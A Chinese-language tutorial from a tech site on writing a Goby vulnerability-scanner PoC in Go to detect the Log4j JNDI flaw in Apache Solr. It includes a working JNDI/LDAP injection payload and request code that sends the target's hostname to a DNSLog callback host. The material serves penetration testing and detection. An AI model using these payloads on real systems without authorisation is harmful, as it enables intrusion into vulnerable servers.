首頁 > 軟體

網路安全滲透測試使用goby檢測log4j漏洞

2022-02-19 10:00:25

一、前言

前段時間的Log4j漏洞影響很廣泛,網上已經公開了很多地方的利用方式,而平時用goby較多,就想利用goby的指紋識別對目標定向檢測。這篇文章就從Apache Solr Log4j漏洞為例,教大家如何寫goby poc,文章中有錯誤還請及時指正。

Goby可以通過編寫go檔案,來實現一些高階的漏洞檢測或利用,例如dnslog檢測漏洞

詳情可查閱goby官方檔案:https://cn.gobies.org/docs/exp/index.html

二、漏洞復現

首先了解到漏洞觸發點是action引數,

/solr/admin/collections?action=

通過dnslog驗證到靶機是存在漏洞。

payload:${jndi:ldap://24x44x.dnslog.cn/a}

圖一:傳送payload

圖二:dnslog有回顯

三、goby poc編寫

Goby是通過golang編寫的,而一些漏洞檢測場景(比如dnslog驗證),goby自身的JSON 格式無法滿足這一需求,需採用 Golang 編寫漏洞程式碼。

expJson部分

1、首先通過goby poc管理,新增poc,按照goby官方漏洞描述模版說明填寫並儲存。

圖三:自定義poc

2、在goby安裝目錄的golibexploitsuser資料夾開啟生成的Apache_Solr_Log4j_JNDI_RCE.json檔案,如果不需要exp則需把HasExp欄位的true改為false。

圖四:生成的json檔案

3、將生成的json程式碼(去掉外圍大括號)複製到goby漏洞檢測golang模板的expJson := {xxx}中。

package exploits

import (
//根據需求匯入相應的包
"fmt"
"git.gobies.org/goby/goscanner/goutils"
"git.gobies.org/goby/goscanner/jsonvul"
"git.gobies.org/goby/goscanner/godclient"
"git.gobies.org/goby/goscanner/scanconfig"
"git.gobies.org/goby/httpclient"
"strings"
"time"
)
func init() {
expJson := `{
expJson部分
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
nil, //自定義POC函數部分。
nil, //自定義EXP函數, 沒有EXP,就寫nil,
))
}

goby漏洞檢測golang模板

自定義POC函數部分

1、根據官方檔案說明

自定義 POC 由一個函數構成,該函數引數分為

jsonvul.JsonVul、httpclient.FixUrl、scanconfig.SingleScanConfig 結構體組成,通過響應 bool 來確認漏洞是否存在。函數模版如下:

func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
return false
}

需要通過編寫檢測漏洞是否存在的golang程式碼,檢測到漏洞存在則返回true,不存在返回false。

圖五:自定義 POC函數部分

checkStr := goutils.RandomHexString(4)

RandomHexString函數:隨機生成指定長度的字串

checkUrl, isDomain := godclient.GetGodCheckURL(checkStr)

GetGodCheckURL函數:生成DNSLog地址

uri := "/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D." + checkUrl + "/a%7D"

漏洞觸發點拼接payload

cfg := httpclient.NewGetRequestConfig(uri) //NewGetRequestConfig:構建GET請求自定義設定,返回RequestConfig
cfg.VerifyTls = false //忽略ssl驗證
cfg.FollowRedirect = false //不跟隨跳轉
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") //自定義請求頭
httpclient.DoHttpRequest(u, cfg) //DoHttpRequest:構建自定義請求設定,傳送請求,返回請求結果HttpResponse

構建並行送自定義設定的GET請求,返回請求結果HttpResponse

圖六:通過代理抓取到goby傳送payload的get請求

return godclient.PullExists(checkStr, time.Second*15)

在一段時間內檢測dnslog是否有HTTP請求成功,如果成功返回true,否則返回false。

圖七:通過代理抓取到goby檢測dnslog是否有HTTP請求成功

圖八:漏洞檢測成功

注意點:

  • 1、expJson部分GobyQuery查詢規則,要保證能匹配到對應目錄資產
  • 2、匯入goby,發現載入不出poc,需要去檢查程式碼的問題
  • 3、使用goby官方的函數需通過import匯入對應的包

當然除了solr還有很多框架,希望大家能從文章中學到一點知識,打磨自己的武器。

以上就是網路安全滲透測試使用goby檢測log4j漏洞的詳細內容,更多關於使用goby檢測log4j漏洞的資料請關注it145.com其它相關文章!


IT145.com E-mail:sddin#qq.com